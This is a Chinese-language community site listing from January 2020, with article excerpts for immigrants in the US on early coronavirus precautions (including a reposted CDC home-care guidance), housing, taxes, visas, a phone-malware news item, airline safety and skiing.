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房地产巨头Redfin近日公布的一项研究显示，在全美20个最具竞争力的购房社区中，有4个位于大波士顿地区，其中3个位于阿灵顿镇。其中，东阿灵顿(EastArlington，房屋均价77万)在全美买家竞争最激烈的社区中排名第3，布拉特尔车站(BrattleStation，均价69.3万)排名第5，阿灵顿中心(ArlingtonCenter，均价80.2万)排在第12位。

2020-01-28 / by beibei / in 律师/移民/金融, 房屋买卖, 汽车/房产/保险, 移民生活, 美国新闻

武汉肺炎快速蔓延？！全球航空皆出招，应对疫情！

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近日，由于中国武汉肺炎疫情已经扩散至多个国家及地区，世界各地机场和航空公司纷纷开始采取行动应对疫情，以保护自家员工和乘客。

2020-01-28 / by beibei / in 新闻

说错话也会被遣返？这些事情华人注意不要做！

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在美国和加拿大，每年都会有一批移民因为各种各样的原因被遣返回国，不如造假、代考、手机中含色情照等都会成为移民或留学生被遣返的原因。

在西方国家，言论自由是有边界的。对于言语威胁，美国在法律上将其列入“恐怖威胁”类别。根据美国各州相关法律，“恐怖威胁”指某个人散布任何种类的威胁，令一个人或一群人害怕受到身体伤害，或被迫中断集会、公众聚会，或无法使用公共场所，或者是威胁的发布者企图中断或中止任何形式的公共服务，如电话、水、下水道或电力。

很多中国人在大陆常用的 “我要揍得你满地找牙”，“你小心，我会让你死得很难看”，只要被举报，有可能被视为向对方发出死亡威胁。

2020-01-28 / by beibei / in 律师/移民/金融, 移民生活, 美国新闻

有效预防武汉肺炎我们需要了解什么？

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武汉肺炎疫情大爆发，截至1月26日，官方报告显示：全国确诊1975例，疑似2032例，死亡56例，治愈49例。湖北几近封省。中国大陆旅行社协会宣布，全国旅行社团队游全部暂停。北京市宣布从26日起所有北京市省际道路客运全部停止运作。关于武汉肺炎我们需要了解什么？
武汉肺炎可能的传播途径
公众特别容易受感染新型病毒
频繁洗手很重要！
怎样洗手才是正确有效的？
用消毒酒精喷雾给自己和随身物品消毒，可以吗？
眼镜可能沾病毒，如何清洁？
衣物若被污染，如何消毒？

2020-01-28 / by beibei / in 医疗健康, 疫苗

没口罩怎么办？防武汉肺炎，口罩全攻略！

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虽然目前武汉肺炎传播途径尚未确定，但一般呼吸道疾病都会通过飞沫传播，因此，戴口罩是预防新型冠状病毒的重要方法。飞沫包括口水、鼻涕。当人们咳嗽、打喷嚏时，会产生极小的水雾在近距离飘散，病毒必须附着在极小的水雾颗粒上才具传染能力，没有液体飞沫为载体的病毒，在一般情况下无法造成有效感染。

以下是关于戴口罩防范疫情的相关问题：

哪种口罩能有效预防飞沫传染？

市面宣称“医用等级”的口罩可信吗？

一般民众配戴N95口罩效果未必最好

密合度很重要绑带式外科口罩效果更佳

医用口罩稀缺、买不到怎么办？

2020-01-28 / by beibei / in 医疗健康

武汉肺炎自保懒人包！你必知的6件事

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如果哪些情况要注意？

武汉肺炎疑似感染怎么办？

武汉肺炎避免去哪些危险地带？

武汉肺炎日常如何防护？

武汉肺炎如何正确洗手？

武汉肺炎如何正确戴口罩？

2020-01-28 / by beibei / in 医疗健康

预防 2019 年新型冠状病毒 (2019-nCoV) 传播给家庭和社区中其他人的暂行指南

本暂行指南基于目前已知的有关 2019 年新型冠状病毒 (2019-nCoV) 和其他病毒的呼吸道感染传播情况。美国疾病控制与预防中心 (CDC) 将根据需要并在获得更多信息时，更新此暂行指南。

冠状病毒是一大类病毒，其中一些会导致人类患病，而另一些会在动物（包括骆驼、猫和蝙蝠）之间传播。在罕见情况下，动物冠状病毒能进化并感染人类，然后在人群中传播，例如在中东呼吸综合症 (MERS) 和严重急性呼吸道症候群 (SARS) 中所见到的情况。2019-nCoV 的人传人可能性尚不明确。以下暂行指南可能有助于预防这种病毒在家庭和社区的人群中传播。

此暂行指南适用于以下情况：

患者已确诊患有 2019-nCoV 感染，但无需住院治疗，并且可以在家中接受治疗
患者正在接受由医务人员进行的 2019-nCoV 感染评估，其无需住院治疗并且能在家中接受治疗
已确诊患有 2019-nCoV 感染或正在接受 2019-nCoV 感染评估的患者的照护者和家庭成员
与已确诊患有 2019-nCoV 感染或正在接受 2019-nCoV 感染评估的患者有密切接触的其他人

已确诊患有 2019-nCoV 感染或正在接受 2019-nCoV 感染评估的患者在家中接受治疗的预防措施

您的医生和公共卫生工作人员将评估您是否可以在家中进行治疗。如果确定您可以在家中隔离，您将由当地或州卫生部门的工作人员监测。您应该遵循以下预防措施，直到医务人员或当地或州卫生部门告知您可以恢复正常活动。

除了进行诊疗护理之外，请留在家里

除了进行诊疗护理之外，您应该限制出门活动。不要上班、上学或前往公共场所，也不要使用公共交通工具或出租车。

将您自己与您家中的其他人隔离
您应尽可能与家中的其他人待在不同的房间里。此外，您应使用单独的洗手间（如有）。

前往就诊之前，请先打电话联系您的医生
在您预约就诊之前，请致电医务人员并告诉他们您患有 2019-nCoV 感染或正在接受 2019-nCoV 感染评估。这将有助于医务人员的诊所采取措施，以免其他人受到感染。

戴口罩
当您与其他人在同一房间时，以及您到医务人员处就诊时，您应该戴上口罩。如果您不能佩戴口罩，那与您同住的人在与您处于同一个房间时，应戴口罩。

遮挡咳嗽和喷嚏
当您咳嗽或打喷嚏时，应用纸巾遮挡口和鼻，或在咳嗽或打喷嚏时用您的袖子遮挡。将用过的纸巾扔到有塑料袋的垃圾桶中，然后立即用肥皂和水洗手至少 20 秒。

洗手
经常用肥皂和水彻底清洗您的双手至少 20 秒。如果没有肥皂和水，并且您的手没有明显变脏，则可以使用含酒精的手部消毒液。避免用未清洗的手触碰您的眼睛、鼻子和嘴巴。

避免共用家居用品
您不应与家里的其他人共用碗碟、饮水杯、杯子、餐具、毛巾、床上用品或其他物品。使用这些物品后，应用肥皂和水对其进行彻底清洗。

监测您的症状
如果您的病情恶化（例如呼吸困难），请立即就医。在您预约就诊之前，请致电医务人员并告诉他们您患有 2019-nCoV 感染或正在接受 2019-nCoV 感染评估。这将有助于医务人员的诊所采取措施，以免其他人受到感染。要求您的医务人员致电当地或州卫生部门。

照护者和家庭成员的预防措施

如果您与已确诊患有 2019-nCoV 感染的患者或正在接受 2019-nCoV 感染评估的患者同住或在家里为其提供照护，则应：

确保您了解并可帮助患者遵循医务人员的药物和治疗指示。您应该帮助患者获得居家基本需求，并在购买杂货、处方药和其他个人需求方面提供支持。
家里只需留下为患者提供必需的照护的人。
- 其他家庭成员应留在其他的住所或居住地。如果无法做到这一点，则他们应该留在另一个房间，或者尽可能与患者隔离。如果可以，应使用单独的洗手间。
- 限制没有必要的客人到家里来。
- 避免老年人和免疫系统受损或有慢性健康疾病的人员接近患者。这些人员包括患慢性心脏病、肺病或肾脏疾病、及糖尿病的患者。
确保家里的共用空间通风良好，例如使用空调或在天气允许的情况下，打开窗户。
经常用肥皂和水彻底清洗您的双手至少 20 秒。如果没有肥皂和水，并且您的手没有明显变脏，则可以使用含酒精的手部消毒液。避免用未清洗的手触碰您的眼睛、鼻子和嘴巴。
触摸或接触患者的血液、体液和/或分泌物（如汗液、唾液、痰液、鼻粘液、呕吐物、尿液或腹泻物）时，请戴一次性口罩、防护服和手套。
- 在使用后，丢弃一次性口罩、防护服和手套。请勿重复使用。
- 脱下口罩、防护服和手套后应立即洗手。
避免共用家居用品。您不应与已确诊患有 2019-nCoV 感染或正在接受 2019-nCoV 感染评估的患者共用碗碟、饮水杯、杯子、餐具、毛巾、床上用品或其他物品。在患者使用这些物品后，应对其进行彻底清洗（请参阅下文“彻底清洗衣物”）。
每天清洁所有“高频接触”的物体表面，如柜台、桌面、门把手、洗手间固定装置、厕所、手机、键盘、平板电脑和床旁桌子。另外，清洁可能带血、体液和/或分泌物或排泄物的任何表面。
- 阅读清洁产品的标签，并遵循产品标签上提供的建议。标签中包含了安全有效使用清洁产品的说明，包括您在使用产品时应采取的预防措施，例如佩戴手套或围裙，以及确保在使用产品期间通气良好。
- 使用稀释的漂白液或标签标有“EPA-批准”的家用消毒剂。在家中配制漂白液时，应将 1 汤匙漂白剂加入到 1 夸脱（4 杯）水中。如需更多漂白液，可将 ¼ 杯漂白剂加入到 1 加仑（16 杯）水中。
彻底清洗衣物。
- 立即取下并洗涤带血液、体液和/或分泌物或排泄物的衣物或床上用品。
- 处理污染物品时，应佩戴一次性手套。脱下手套后应立即洗手。
- 阅读并遵循洗衣或衣物标签和清洁剂标签上的指示。一般情况下，采用衣物标签上推荐的最高温度来洗涤和干燥衣物。
将所有使用过的一次性手套、防护服、口罩和其他污染物品放入带有塑料袋的容器中，然后再将其放入其他居家垃圾中。处理这些物品后应立即洗手。
监测患者的症状。如果患者的病情更加严重，请致电他们的医务人员并告诉他们患者患有 2019-nCoV 感染或正在接受 2019-nCoV 感染评估。这将有助于医务人员的诊所采取措施，以免其他人受到感染。要求医务人员致电当地或州卫生部门。
照护者和家庭成员在密切接触已确诊患有 2019-nCoV 感染或正在接受 2019-nCoV 感染评估的患者时，如未遵守预防措施，则被视为“密切接触者”，应监测其健康状况。遵循下文中针对密切接触者的预防措施。
与您所在州或当地卫生部门讨论任何其他问题

密切接触者的预防措施

如果您与已确诊患有 2019-nCoV 感染或正在接受 2019-nCoV 感染评估的患者有密切接触，您应：

从您第一次与患者密切接触之日开始监测您的健康状况，并在您最后一次与患者密切接触后继续监测您的健康状况 14 天。观察以下这些体征和症状：
- 发烧。每天两次测量您的体温。
- 咳嗽。
- 呼吸短促或呼吸困难。
- 其他需要注意的早期症状包括畏寒、身体疼痛、咽喉痛、头痛、腹泻、恶心/呕吐和流鼻涕。
如果您出现发热或任何这些症状，请立即致电您的医务人员。
在您预约就诊之前，请务必告诉您的医务人员您与已确诊患有 2019-nCoV 感染或正在接受 2019-nCoV 感染评估的患者有密切接触。这将有助于医务人员的诊所采取措施，以免其他人受到感染。要求您的医务人员致电当地或州卫生部门。

如果您没有任何症状，您可以继续进行日常活动，如上班、上学或前往其他公共场所。

转自：https://www.cdc.gov/coronavirus/2019-ncov/guidance-prevent-spread-chinese.html

2020-01-28 / by davidhorgan479 / in 医疗健康, 医疗药品

美国物价为什么中国人都说便宜？原因就在于这几点！

美国社会/知识产权保护/美国社会收入/美国税收/日用品价格/物流成本/医疗保险费用/现代化农业/劳动力价格

很多人都说美国社会收入普遍较高，普通美国民众月收入大约在3000-4000美元之间，而且美国国内的物价很便宜。但是美国社会有三样东西是比较贵的。一是人工成本比较贵，二是，美国人对知识产权保护比较重视。三是，在美国如果你没有医疗保险，看病费用实在贵得吓死人。当然了，除了人工成本贵、知识产权贵、看病治疗贵外，其他的日常用品和农产品都很便宜，有的商品甚至还要比中国的国内物价还便宜不少。为什么美国是这样的情况呢。

首先，美国的税收低。再者，美国可耕土地面积世界第一，印度排名第二。再加上美国是现代化农业，所以在美国不到3%的人口可以养活全部的美国人，甚至还可以每年大量出口农产品，供应世界农产品市场。另外，虽然美国劳动力贵，但是美国将中低端商品生产都转移到像中国、越南等劳动力价格不高的地区，再由这些地区加工之后输入美国市场，这样美国人民用到的日用品都是在发展中国家制造的，往往是物美价廉。最后，中国国内物价贵，在很大程度上都是物流成本高。中国由于是“贷款修路，收费还债”的模式，各种公路都要交费，物流成本根本降不下来。而在美国，所有的高速公路都是免费的，造路的费用主要是当地政府筹资建造，所以，美国人运输商品只要一踩油门到底就可以了。运输成本大幅降低，也是美国人商品便宜的一大因素。

2020-01-22 / by beibei / in 医疗健康, 律师/移民/金融, 求医指南, 移民生活, 美国新闻

美国手机也携带大陆恶意软件？这种美国政府提供的手机要小心！

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近日，网络安全专家发现，美国对低收入群体提供的政府补贴手机，携带预先植入的中国恶意软件，可以在用户没有授权时下载安装其它应用，而且无法卸载清除。据《美国之音》报导，这项发现涉及美国政府通过联邦通信委员会的生命线援助计划，向低收入民众提供的政府补贴手机。符合低收入条件的民众只要支付35美元，就可以从Assurance Wireless公司购买一部在中国制造的UMX U686CL手机，而且包括免费电话，免费短信和免费数据服务。这款手机使用安卓操作系统，制造商是美国Unimax公司，但是在中国生产。美国网络安全公司恶意软件字节说，他们在一些UMX U686CL手机上发现了两款预先植入的恶意软件，一个叫移动更新，另一个叫隐蔽广告。

2020-01-22 / by beibei / in 其它

冬季买房有哪些好处？6大优势需了解！

冬季买房，抵扣税款，房屋状况，服务待遇，房屋买卖，房屋租赁，优惠政策，地产经纪，屋主，卖家，抵押贷款利率

一、冬季买房的人较少

二、得到更好的待遇

三、冬季对卖家有“抵扣税款”的机会

四、可以发现房屋状况

五、2020抵押贷款利率可能会上升

“生育旅游”将受限！想赴美生子的朋友注意啦， B1/B2签证将改规大洗牌！

出生公民权，自动获得美国国籍，美国宪法，川普政府，外国游客，移民新规，短期商务和旅游签证，移民签证，生育旅游，赴美生子，B1签证，B2签证

近日，据美国国务院官员表示， B1/B2签证规范即将出现变化，预计将锁定外籍人士在美国生产、以确保孩子取得美国公民身分的“生育旅游”（birth tourism）。

2020-01-22 / by beibei / in 律师/移民/金融, 移民/签证/护照, 移民生活

准备年夜菜太费力？万用鲜美高汤是快速煮出美味佳肴的省时妙招！

年夜菜，传统汤品，省力快速的料理方法，缩时料理，鲜美高汤，五花肉、炖排骨，汆烫去腥，电锅制作万用高汤，取代高汤，白萝卜，药膳，干货，南瓜，现成酱料

要想准备一桌丰盛的年夜菜，总少不了一些传统汤品、花样大菜，不仅烹调时间长，步骤也比较复杂，总是会让妈妈们离不开炉火、疲惫忙碌一整天。有没有什么省力快速的料理方法呢？其实所有的复杂菜色，都是为了堆叠出深厚的风味底蕴，才需要长时间的蒸、煮、炖，只要预先备好一锅鲜美的高汤，就能通通变成「缩时料理」！ 1,烫肉的水制成高汤 2,电锅制作万用高汤 3,懒人法取代高汤的好物：白萝卜，南瓜，现成酱料（沙茶、味噌、豆腐乳），干货，药膳

2020-01-22 / by beibei / in 生活/美食/家居, 美食天地

旅行购物刷出天价账单？华人出游须小心，购物买礼品要仔细看账单

牙买加/美元/天价账单/出国旅游/购物刷卡/VISA卡账单/交易纠纷/查看收据/输入密码付款/度假

据CBC报导，前不久，加拿大密尔顿男子盖伊（Rejent Guay），到牙买加度假。据盖伊一家人说，那天，他们从酒店被直接送到牙买加奥乔里氏斯（Ocho Rios）的购物区。盖伊在一家纪念品商店，为女儿挑选了一个小花瓶以及几件衣服。结帐时，店家告诉他，花瓶和衣服的总价为7,500牙买加元，约合56美元。回到加拿大后，一天，盖伊收到RBC银行的VISA卡账单，被吓了一大跳！

2020-01-22 / by beibei / in 其它

2020美国这些税改你一定要知道│2020年美国报税大调整│2020美国报税季税改公布

或许你还不知道，到了2020年，灾难沉重的中国正在大面积的发生翻天覆地的变化，比如鼠疫，猪瘟，还有正在迅速传播的武汉肺炎，正在大面积降灾于中国。如果你是在美国，那恭喜你，你是一个非常幸运的人，美国是一个被神护佑的国家，美国对神有着正信，所以在美国，到了2020年，目前最明显的变化只在税务上，2020年的税务有了新变动，新移民请注意了。

2020税务年度（2020 Tax Year）的标准扣除额已经发生了变化。美国国税局把个人申报的税务标准扣除额（Standard Deduction）从去年的12,200美元提高到了12,400美元。

已婚联合申报人的标准扣除额为24,800美元，较2019年的24,400美元有所上升。

为老年纳税人和盲人纳税人提供的额外标准扣除额仍然有效。

雇员退休储蓄

是时候下定决心在你的退休账户上多存一些钱了。正好美国国税局已经将401（K）、403（B）的雇员供款限额（Employee Contribution Limit）提高到了19,500美元，高于2019年的19,000美元。

如果你已经50岁以上，你还可以享有额外的6500美元个人供款限额，这比2019年的6000美元有所上升。

个人退休账户的供款限额，无论是传统的IRA还是罗斯（Roth）IRA，都维持在6000美元，另外50岁及以上的人士还可额外多存1000美元。

有一点需要注意：美国国税局限制了高收入者直接向“罗斯退休账户”（Roth IRA）供款的能力。在罗斯个人退休账户中，你可以存下税后美元，让这笔钱免税增长，并在退休时免税使用。

但在2020年，如果你的调整后总收入超过124,000美元，而且你还是单身（已婚夫妇共同申请的收入为196,000美元），你将不能直接向Roth IRA全额存款。

但是，这些存款者仍可以考虑使用一种被称为“后门罗斯”（Backdoor Roth）的策略，他们可以用税后美元对传统的个人退休账户进行不可抵扣的存款（Nondeductible Contribution），然后将其转换为罗斯账户存款。

设立健康储蓄账户的机会

你拥有一个2020年高免赔额（High-deductible）的健康保险计划？那你很可能有机会开设一个“健康储蓄账户”（Health Savings Account，简称HSA）。

这个账户可以让你存下税前或可免税的钱，并使其免税增长。你可以通过免税的提款来支付符合规定的医疗费用。

这样，在2020年，如果你有一个只供个人使用的医疗保险，你可以存入高达3550美元。这比2019年的3500美元限额有所上升。拥有家庭保险计划的账户持有人可以在这个账户上存入多达7,100美元（2019年为7,000美元）。

“健康储蓄账户”与“医疗保健灵活开支账户”（Health-care Flexible Spending Accounts ，简称FSA）的主要区别在于，您可以将健康储蓄账户中的余额从一年转到下一年。而且不受离职影响。

而“医疗保健灵活开支账户”归雇主所有，自雇人士开不了，而且，一旦离职，该账户将作废，一般年底未用完的余额也将被清空作废。

美国国税局也提高了“医疗保健灵活开支账户”的储蓄额：从2019年的2700美元上升到2020年的2750美元。

节省遗产税和馈赠税

对于坐拥数百万美元资产的人来说，这是个好消息：《减税与就业法案》（Tax Cuts and Jobs Act）几乎将可以免于缴纳40%的联邦遗产税和馈赠税的死者遗产或终生赠与的数额提高了一倍。

在川普的2019税收改革之前，赠与税和遗产税的免税额为每人549万美元。而在2020年则更进了一步，个人终身赠与和遗产税的免税额将从2019年的1140万美元上升到1158万美元。

最后，在2020年，每年的礼物免税额（不计入终身免税额的情况下，你可以给任何其他人的数额）将维持在1.5万美元。

2020-01-22 / by happy1 / in SAT/ACT, 医疗健康, 律师/移民/金融, 求医指南, 留学/教育/求职, 移民生活, 美国新闻

2020在线申请新西兰旅游签证最新攻略申请│西兰旅游签证网络申请流程

作为南太平洋上的岛国－新西兰，这是一个地广人稀的国家，主要由北岛和南岛两大岛，和附近一百多个小岛组成。新西兰的闻名，还在于它是世界第一乳制品出口大国，也是很多国人向往的移民之国。下面介绍下如何在线上申请新西兰的签证流程：

申请步骤

1，进入新西兰移民局官网

www.immigration.govt.nz

2，点击网页首页右上角“login”

3，点击“select from this list”

4，选择“访问签证”

5，点击“login”蓝色按钮，进入Realme登录界面

6，下拉页面至首页底端，点击“中国公民”

7，进入中国公民专用页面，点击访问新西兰

8，点击“申请旅游签证”

9，进入“申请旅游签证”政策说明页面

此页面也包含了online申请端口，纸质旅游签证政策与材料说明，了解完旅游签证政策后，点击“Immigration ONLINE” 进入online 申请端口

第二步：登录或创建RealMe账号

RealMe 登录界面有中文版，可点击右上角“中文”变换语言。

已有RealMe账户的，请在左侧直接使用RealMe账号信息，登录进入移民局online申请首页。

没有RealMe账户的请选择右侧，点击“创建您的RealMe登录号”，进入RealMe账号创建页面。

创建RealMe账号

填写完成后，所提供的登录邮箱将收到一封验证邮件，打开邮件进行验证。

验证成功后，网页会跳转至下一个页面，选择继续。

第三步：创建新西兰移民局online档案

紧接着上一步，点击“继续”后，进入新西兰移民局档案创建页面，选择“接受”

填写移民局档案显示名（可以不用写真实名字）电子邮箱最好写之前RealMe注册的邮箱，以方便接收邮件。

点击进入Verification Link或激活账号。

浏览器页面将跳至移民局“验证成功”点击“查看我的账户”正式进入移民局online申请页面（页面右上角可以调整语言）。

第四步：正式进入移民局online申请首页

右侧有四个功能菜单，建议对新西兰签证申请并不熟悉的申请人在正式开始申请前，阅读“递交申请”与“上传文件”前两项申请须知，了解网上申请的操作与材料要求。

第五步：点击主表格区“创建新的访问签证申请”

表格第一页：确认申请类型正确

此部分主要确定申请人是否有递交online申请的资格，如前文所解释过的，只有个人的、独立的旅游签证申请可在online端口递交。表格第一页内容如下：

以下情况不可递交online申请

表格第二页：申请人身份与联系方式页

填写此页面，需要护照信息、身份证信息、通讯信息。

注意：此页面中的通讯地址、电话以及电子邮件地址，将是新西兰移民局与你沟通此签证申请的方式。
填写地址时，不要输入任何标点符号，字符间空格即可。

如果你有具有法律效益的曾用名（比如婚后、收养情况），则需要提供曾用名信息，并在最后的材料提交步骤中提供相关材料。

如果在之前申请过新西兰的任何签证，你已经有了一个唯一的客户号（client number），此客户号可以在之前的签证页上找到，（当然如果之前的签证被拒签，在拒签信以及与移民局沟通的邮件中都可以找到这个唯一的客户号）。

表格第三页：访问详情页

此页面需提供签证目的、签证计划等信息。

一般咱们申请旅游签证都是属于General Visitor Visa，以旅游或探亲为主要目的。

表格第四页：健康详情页

在新西兰居留不超过6个月是不需要提供体检报告的，如果在此页面中你关于疾病与治疗的问题选择了Yes，那么你可能不符合新西兰移民局的签证要求，或者移民局将会要求你提供详细的体检报告。如果你身体健康，并未怀孕且过去五年内未在其他国家待过3个月，且未申请过新西兰签证、未提供过体检报告，则选择No，并在最后一个问题选择Not applicable即可。

一般申请旅游签证时，拥有稳定工作和收入的申请人更容易批准。此页面中，你需要填写目前在职的工作信息，后续材料上传时需要提供雇主开具的准假信以及收入证明材料。如果是退休状态，则选择Retired，并需要填写退休前最后一份工作信息，并提供退休证与退休金收入证明。当然，以往的工作经历虽非必须信息，但如果有后续在新西兰发展的计划，也可一并填写完整。请注意前文提到的信息一致，后续签证、乃至移民的申请需要与此时提供的信息保持一致。

最后

递交申请，支付申请费

完成材料上传后，点击“继续”，进入申请表检查页面，这将是递交申请前对申请表整体的检查机会。

确认信息提供无误、材料上传无误后，点击继续，进入deceleration页面，全部勾选Yes后，点击“递交申请”。

之后转至申请费支付页面。完成申请费的支付，将跳转至申请成功递交确认页面。请将此页面截图保存下来备份。

至此，一个online旅游签证申请递交完成。

2020-01-21 / by happy1 / in 其它

得益英语培训中心（电话：347-923-1270）帮助学生快速提升英语水平及考试成绩！

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我们关心如何让学生真正融入美国社会，确保为每一个学生量身定制学习方案，老师亲自1v1沟通学生瓶颈，解决英语学习中的薄弱点。致力于打造纽约最懂学生的英语培训中心，在提升考试成绩的同时加强在美国生活场景用语，从根本上引导学生用英语思维学习生活！

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课程介绍：

ESL常规班

周一～周五

2:30 PM – 4:30 PM

4:30 PM – 6:30 PM

7:00 PM – 9:00 PM (成人班）

$4.99/小时

$199/月

$549/季度

ESL周末进阶班

周六&周日

10:00 AM – 12:00 PM

12:30 PM- 2:30 PM

2:30 PM – 4:30 PM

5:00 PM – 7:00 PM （成人班）

$4.99/小时

$79/月

$229/季度

SAT常规班

周一～周五

2:30 PM – 4:30 PM

4:30 PM – 6:30 PM

$12.5/小时

$500/月

$1400/季度

SAT周末进阶班

周六&周日

10:00 AM – 12:00 PM

12:30 PM – 2:30 PM

2:30 PM – 4:30 PM

$12.5/小时

$200/月

$575/季度

2020-01-20 / by beibei / in SAT/ACT, 留学/教育/求职, 美国留学

电动机车美国几乎看不到？在中国却特火，这是为何？

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在中国，电动机车是一个很方便的交通工具，方便程度尤其在上班早晚高峰期的时候最为明显，当路上的小车堵得水泄不通时，骑着电动机车就能自由的穿梭，享受开车者投来羡慕的目光。但是这情况在美国就大相迳庭了。

2020-01-20 / by beibei / in 二手车, 交通/旅游, 到美必看, 律师/移民/金融, 汽车, 汽车/房产/保险, 生活/美食/家居, 美国新闻

隐私安全问题令人担忧？Android手机的7个实用设定快快学起来！

Google Play/网络诈骗/Android系统/隐私外泄/手机资料安全/网站安全浏览功能/Chrome网站安全浏览功能

一、启用来电显示与骚扰/广告电话阻挡功能

二、启用网站安全浏览功能

三、启用 Google 帐户安全金钥功能

四、手动管理应用程式权限

五、手动设定应用程式存取位置权限

六、启用Google 地图中的无痕模式

七、启用 Google Play 安全防护

2020-01-20 / by beibei / in 其它

航空公司哪家最安全？2020年全球最安全航空公司榜单出炉!

国际航空评鉴/最安全航空公司/2020年度/澳洲航空/新西兰航空/长荣航空/最安全的廉航公司 /英国的弗莱比航空/美国边疆航空/美国的捷蓝航空

2020年一开始，国际航空评鉴网站AirlineRatings.com发布了2020年度全球最安全20家航空公司榜单排名

1 澳洲航空（Qantas）

2 新西兰航空（Air New Zealand）

3 长荣航空（EVA Air）

4 阿提哈德航空（Etihad）

5 卡塔尔航空（Qatar Airways）

6 新加坡航空（Singapore Airlines）

7 阿联酋航空（Emirates）

8 阿拉斯加航空（Alaska Airlines）

9 国泰航空（Cathay Pacific Airways）

10 维珍澳洲（Virgin Australia）

11 夏威夷航空（Hawaiian Airlines）

12 维珍航空（Virgin Atlantic）

13 TAP葡萄牙航空（TAP Portugal）

14 北欧航空（SAS）

15 皇家约旦航空公司（Royal Jordanian）

16 瑞士国际航空（Swiss）

17 芬兰航空（Finnair）

18 德国汉莎航空（Lufthansa）

19 爱尔兰航空（Aer Lingus）

20 荷兰皇家航空（KLM）

同时网站也选出2020年10间最安全的廉航公司，不过只按字母排名，没有次序，以下是上榜的航空公司：阿拉伯航空（Air Arabia）、英国的弗莱比航空（Flybe）、美国边疆航空（Frontier）、香港快运航空（HK Express）、印度的靛蓝航空（IndiGo）、美国的捷蓝航空（Jetblue）、墨西哥的沃拉里斯航空（Volaris）、西班牙的伏林航空（Vueling）、加拿大的西捷航空（Westjet）、匈牙利的维兹航空（Wizz）。

2020-01-20 / by beibei / in 其它

在美国做房东很风光？遇恶房客有苦难言！

房客美国行为/美国房屋租约/饲养宠物/房租押金/房屋管理/美国民事纠纷/租房合约/租房维修管理/美国独立屋出租/火灾/租房安全隐患/收房租

有人很羡慕在美国当房东，拥有几套房或者多个单位公寓就可以坐收房租，但其实美国房东也有一肚子苦水。不少华人房东说，在美国做房东不仅要对付各种房客，不小心还得吃上官司，很不容易的。

2020-01-20 / by beibei / in 律师/移民/金融, 汽车/房产/保险, 租房, 移民生活, 美国新闻

2020最全的滑雪攻略│美国滑雪装备新手须知│滑雪时应该带什么？

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关于滑雪

滑雪基本上分为Skiing和Snowboard，前者是大家不陌生的双板，另外则是中文俗称滑雪板的单板。

Ski：移动的方式有点像是在溜冰，利用双板的前后滑动，细长产生前进的动力。重心较容易掌握，也比较容易上手，但要从初阶进步到高阶较花时间。

Snowboard：就像是没有轮子的滑板，对于有滑板经验或者冲浪经验的人会比较容易。对于一般人来说比较难上手，因为重心的掌握较困难，且行进时是侧身的。

滑雪时应该带什么？滑雪所需装备

滑雪板：分为单板和双板，可在雪场租用，对于不经常滑雪的市民租赁雪板较为划算。

滑雪鞋：可在雪场租用。

滑雪服：一般雪场不提供出租雪服，但雪场内有商店出售雪服，也可提前在商店、网店购买，选择较厚、松软、防水的雪服。

滑雪手杖：双板滑雪需要，可在雪场租用。

滑雪镜、头盔：雪镜起到保护眼睛的作用；若摔倒，头盔可以一定程度上保护头部(部分雪场可以租用)。

防晒霜和护唇膏、护手霜：滑雪场寒冷又干燥，反射到眼中的光线会伤害到皮肤，因此这三样也是必要的!

暖宝宝：如果没带也别担心，滑雪的时候运动量大，不会觉得很冷。

智能手机：带有摄像功能的手机，拍风景，拍你想拍的，其乐无穷。

注意事项，滑雪须知

1.热身不可少的：不注意热身是滑雪者受伤的最主要原因。滑雪场气温低，身体发僵，如果关节肌肉没活动开，一上来就开始滑，很容易受伤。上雪道前，应将髋、膝、踝、腕等多处关节活动开。另外，即使有滑雪基础，也要先从初级道开始练习，逐渐升级到高级道。

2.新手滑雪须知：初学滑雪者应该先在平地练习走，学会了走，再学滑。“走”的基本功包括穿着雪板行走、八字登山行走、侧方向走、雪板变方向行走。接下来再学平地滑行和坡道滑行。滑雪时需租用专用的滑雪鞋，所以当天穿着自己的鞋子前往即可。

3.如何安全摔倒：不要擅自滑出滑雪场界线，那样你不会遇到滑雪场的工作人员，也不会得到救援。感觉身体失去平衡时，应该顺势向后倒，随坡度自然下滑，等待慢慢停住。不要用手支撑，不要手脚乱动，身体不要翻滚。

4.新手必带装备：1）记得带颈巾或围巾，风大时能遮罩脸部，避免冻伤。2）一定要穿防水的滑雪裤，千万别穿牛仔裤等不防水且活动性不佳的裤子。3）带头盔（安全帽），以保护头部。带上滑雪风镜或运动型墨镜，不然太阳经雪的折射更烈，长时间容易眼睛不适。4）登山用厚袜子或穿2层袜子也可以，防寒保暖衣记得穿在身上。

5.要穿鲜艳服装：一旦出事，寻找起来目标醒目。

6.初学者的雪道：即使有滑雪基础，也要先从初级道开始练习，逐渐升级到高级道。滑雪场内的雪道上都有道标，不同颜色和形状的道标代表不同级别。绿色圆圈是初学者雪道，坡度大概是不超过40度。蓝色方块是中级雪道，大概不超过65度，再上就是高级的黑色钻石雪道。每一色中当然也有容易，中等，困难之分，而且相差相当大，比如5度和40度都可以是绿道。大家切记根据自己的水平，量力而行。

7. 摔倒3“不要”：不要用手支撑，不要手脚乱动，身体不要翻滚。

8.拿雪板时注意：不论是单板或是双板，雪板的两侧都是锐利的钢边，主要是为了在滑行时造成阻力，以达到减速的效果。所以千万记得不要用手摸钢边，拿雪板时一定要穿戴手套，也不要把雪板扛在肩上。你很有可能在一个不注意之下，伤到周围的人。

9.雪板不用时候：雪板在不用的时候一定要颠倒放，不然它是张的会长脚自己跑走的，如果撞到人，你可赔不起！

滑雪器材有哪些？

雪橇（ski）：2个单脚用的滑雪板与专用的滑雪鞋。

雪板（snowboard）：1个滑雪板与专用的滑雪鞋。

雪杖：通常会包含在租借套餐中，用来控制加速，平衡和方向的工具。

雪撬（Ski）还是雪板(Snow Boarding)？

对初学者来说，雪撬（Ski）可靠双脚平衡站立，入门会容易一些，一旦入门后，可是有很多细腻的技巧需要磨练的。

而雪板(Snow Boarding) 由于是单脚站立平衡，对于初学者来说，一开始可能不习惯，会感觉比较困难。

不过建议初学者不管是雪撬还是雪板，都先在教练指导下练习基本步，才能更安全的享受滑雪的乐趣噢。

滑雪场地分级

滑雪场地对初学者来说非常重要，因为坡度太陡或是不够宽都会影响，建议滑雪新手都来学学滑雪道的难度分类。

分类标准－坡度和障碍物：坡度是以45度角为100%为标准推算，障碍则是考虑有无树木、经过整雪等人工处理。

2020-01-17 / by happy1 / in 其它

美国最美的十大海滩

